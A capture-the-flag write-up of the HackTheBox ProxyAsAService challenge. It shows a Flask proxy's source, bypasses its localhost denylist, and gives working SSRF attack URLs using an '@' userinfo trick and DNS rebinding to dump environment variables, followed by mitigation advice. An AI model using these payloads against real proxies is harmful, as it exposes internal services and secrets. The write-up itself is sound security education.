Home HackTheBox - ProxyAsAService
Post
Cancel

HackTheBox - ProxyAsAService

Experience the freedom of the web with ProxyAsAService. Because online privacy and access should be for everyone, everywhere.

This service is a proxy service.

A proxy server acts as a gateway between you and the internet. It’s an intermediary server separating end users from the websites they browse.

The first time we use it we see it directs us to reddit.com. We also get access to the source code.

Reconnaissance

Dockerfile

The flag is being placed in an environment variable.

1
2
# Place flag in environ
ENV FLAG=HTB{f4k3_fl4g_f0r_t3st1ng}

routes.py

The URL parameter get validated if it’s not empty and the static SITE_NAME gets added before doing a request to this URL. The application is expecting an user to put in a subreddit like “/r/cybersecurity”.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
SITE_NAME = 'reddit.com'

proxy_api = Blueprint('proxy_api', __name__)
debug     = Blueprint('debug', __name__)


@proxy_api.route('/', methods=['GET', 'POST'])
def proxy():
    url = request.args.get('url')

    if not url:
        cat_meme_subreddits = [
            '/r/cats/',
            '/r/catpictures',
            '/r/catvideos/'
        ]

        random_subreddit = random.choice(cat_meme_subreddits)

        return redirect(url_for('.proxy', url=random_subreddit))
    
    target_url = f'http://{SITE_NAME}{url}'
    response, headers = proxy_req(target_url)

    return Response(response.content, response.status_code, headers.items())

There is a /debug/environment route that returns the environment variables, only when the parameter URL is a local URL.

1
2
3
4
5
6
7
8
9
10
debug     = Blueprint('debug', __name__)
@debug.route('/environment', methods=['GET'])
@is_from_localhost
def debug_environment():
    environment_info = {
        'Environment variables': dict(os.environ),
        'Request headers': dict(request.headers)
    }

    return jsonify(environment_info)

util.py

There is a denylist that prevents the proxy from serving local URLs to prevent Server-Side Request Forgery attacks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
RESTRICTED_URLS = ['localhost', '127.', '192.168.', '10.', '172.']

def is_safe_url(url):
    for restricted_url in RESTRICTED_URLS:
        if restricted_url in url:
            return False
    return True

def is_from_localhost(func):
    @functools.wraps(func)
    def check_ip(*args, **kwargs):
        if request.remote_addr != '127.0.0.1':
            return abort(403)
        return func(*args, **kwargs)
    return check_ip

Exploit

To acquire the flag, we need to overcome two challenges:

Challenge 1: is_from_localhost Validation Method

The first challenge is the validation method known as is_from_localhost. This check is designed to verify if the provided URL is a local one. Bypassing it is not overly complex since denylists are often incomplete as it’s challenging to cover every possible payload. This holds true for the RESTRICTED_URLS denylist as well. Numerous bypass techniques exist, and you can find a comprehensive list on hacktricks. For instance, one example would be http://0.0.0.0/.

Challenge 2: Manipulating SITE_NAME in target_url

The second obstacle requires a bit more creativity. There are at least two strategies to approach it:

Strategy 1: Utilizing the “@” Symbol

One approach is to exploit the presence of the “@” symbol within an URL for authentication. By placing the “@” symbol in the URL, the server may interpret everything preceding the “@” symbol as authentication credentials and disregard it, thereby gaining control over the entire URL.

Attack URL: http://206.189.28.151:30600/?url=@0.0.0.0:1337/debug/environment

Upon successful exploitation, you’ll gain access to the environment variables, which may include the coveted flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
{
   "Environment variables":{
      "FLAG":"HTB{fl**REDACTED**c3}",
      "GPG_KEY":"7169605F62C751356D054A26A821E680E5FA6305",
      "HOME":"/root",
      "HOSTNAME":"webproxyasaservicemp-1397648-6bb95b7494-28bzb",
      "KUBERNETES_PORT":"tcp://10.245.0.1:443",
      "KUBERNETES_PORT_443_TCP":"tcp://10.245.0.1:443",
      "KUBERNETES_PORT_443_TCP_ADDR":"10.245.0.1",
      "KUBERNETES_PORT_443_TCP_PORT":"443",
      "KUBERNETES_PORT_443_TCP_PROTO":"tcp",
      "KUBERNETES_SERVICE_HOST":"10.245.0.1",
      "KUBERNETES_SERVICE_PORT":"443",
      "KUBERNETES_SERVICE_PORT_HTTPS":"443",
      "LANG":"C.UTF-8",
      "PATH":"/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "PYTHONDONTWRITEBYTECODE":"1",
      "PYTHON_GET_PIP_SHA256":"45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe",
      "PYTHON_GET_PIP_URL":"https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py",
      "PYTHON_PIP_VERSION":"23.2.1",
      "PYTHON_VERSION":"3.12.0",
      "SUPERVISOR_ENABLED":"1",
      "SUPERVISOR_GROUP_NAME":"flask",
      "SUPERVISOR_PROCESS_NAME":"flask",
      "WERKZEUG_SERVER_FD":"3"
   },
   "Request headers":{
      "Accept":"*/*",
      "Accept-Encoding":"gzip, deflate",
      "Connection":"keep-alive",
      "Cookie":"eu_cookie={%22opted%22:true%2C%22nonessential%22:false}",
      "Host":"0.0.0.0:1337",
      "User-Agent":"python-requests/2.31.0"
   }
}

Strategy 2: DNS Rebinding Attack

Another strategy involves performing a DNS rebinding attack configuring a domain you own to redirect to 127.0.0.1. The domain should reflect the URL that is being built in the targetURL variable. Knowing that “reddit.com” gets prepended to the URL we can setup a subdomain that is "reddit.com" + subdomain_value.

In this example, I’m using a domain I own “http://onlyexploits.com” and create a subdomain “reddit.comlocal”:

domain

Attack URL: http://206.189.28.151:30600/?url=local.onlyexploits.com:1337/debug/environment

Once you submitted the URL, you can see the full host in the environment variables.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
   "Environment variables":{
      "FLAG":"HTB{fl**REDACTED**c3}",
      ...
      ...
      ...
       },
    "Request headers":{
      "Accept":"*/*",
      "Accept-Encoding":"gzip, deflate",
      "Connection":"keep-alive",
      "Host":"reddit.comlocal.onlyexploits.com:1337",
      "User-Agent":"python-requests/2.31.0"
      }
}

Mitigations

There are a bunch of measures that could been taken to prevent SSRF. A few specific ones could be:

  1. Use an Allowlist over a Denylist, as it’s less prone to faults by explicitly specifying what is permitted.
  2. Avoid dynamic target URLs
  3. Use proper authentication and authorization mechanisms to control access to sensitive endpoints, such as the /debug/environment route. Restrict access to trusted users only.
This post is licensed under CC BY 4.0 by the author.